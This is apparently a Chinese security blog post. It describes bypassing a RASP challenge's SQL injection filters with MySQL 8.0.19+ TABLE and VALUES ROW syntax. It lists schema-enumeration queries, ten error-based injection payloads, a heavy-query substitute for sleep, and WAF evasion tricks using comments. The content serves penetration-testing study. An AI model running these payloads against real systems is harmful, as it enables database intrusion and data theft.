MySQL 8.0.19之后SQL注入可以利用的新特性

0x00 背景

最近绕个什么RASP挑战赛,绕过了前面的什么token限制,什么函数执行限制,绕到后面了,发现RASP封禁了如下:

  • union select
  • select from
  1. select不能出现在union后面
  2. select和from中间不能存在其他字符
    ……

什么大小写什么编码什么各种统统不行…….

看到了数据库版本是8.0.16,想起来MySQL8的新特性可以利用,靠试了半天……
一查文档

TABLE is a DML statement introduced in MySQL 8.0.19 which returns rows and columns of the named table.

所以重点:8.0.19 之后的MySQL版本才行

0x01 新特性

一个MySQL8的在在线环境:https://extendsclass.com/mysql-online.html

代替union select

union values row(1,2,3)--+ 等同于 union select 1,2,3

代替select from

table scientist limit 1 等同于 select * scientist limit 1

常用于盲注:

通过比较符实现布尔型盲注

没了,好像就这些了

0x02 笔记备忘

  1. 获取表名:

    • select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()
    • select group_concat(table_name) from mysql.innodb_index_stats where database_name in(database())
  2. 获取列名:union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='xxx'

  3. 报错注入(面试还问有多少种……大无语):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    1.floor()
    select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

    2.extractvalue()
    select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

    3.updatexml()
    select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

    4.geometrycollection()
    select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

    5.multipoint()
    select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

    6.polygon()
    select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

    7.multipolygon()
    select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

    8.linestring()
    select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

    9.multilinestring()
    select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

    10.exp()
    select * from test where id=1 and exp(~(select * from(select user())a));
  4. 其他

    • replace(repeat(lpad('a',222222,'a'),2),'aa','b') 根据数据库性能来定,在sleep封禁的情况下

0x03 后记

回家想再测一下。。。。。环境变了,把我payload封了。。。。gg

梳理测试思路

  • 测试运算符
  • 测试注释符,组合测试
  • 引入字符串进行关键字屏蔽测试,如union select 、 select from
  • 字符串中引入unicode字符进行编码测试
  • 超大数据测试
  • 是否会存在优先匹配的情况,如WAF匹配到单引号,就会一直匹配下去,这时可以把单引号放在 /**/ 注释当中
  • 使用/**/ /*!00000select*/绕过,如 user( 被屏蔽,可转化为 /*!00000user*//**!00000()/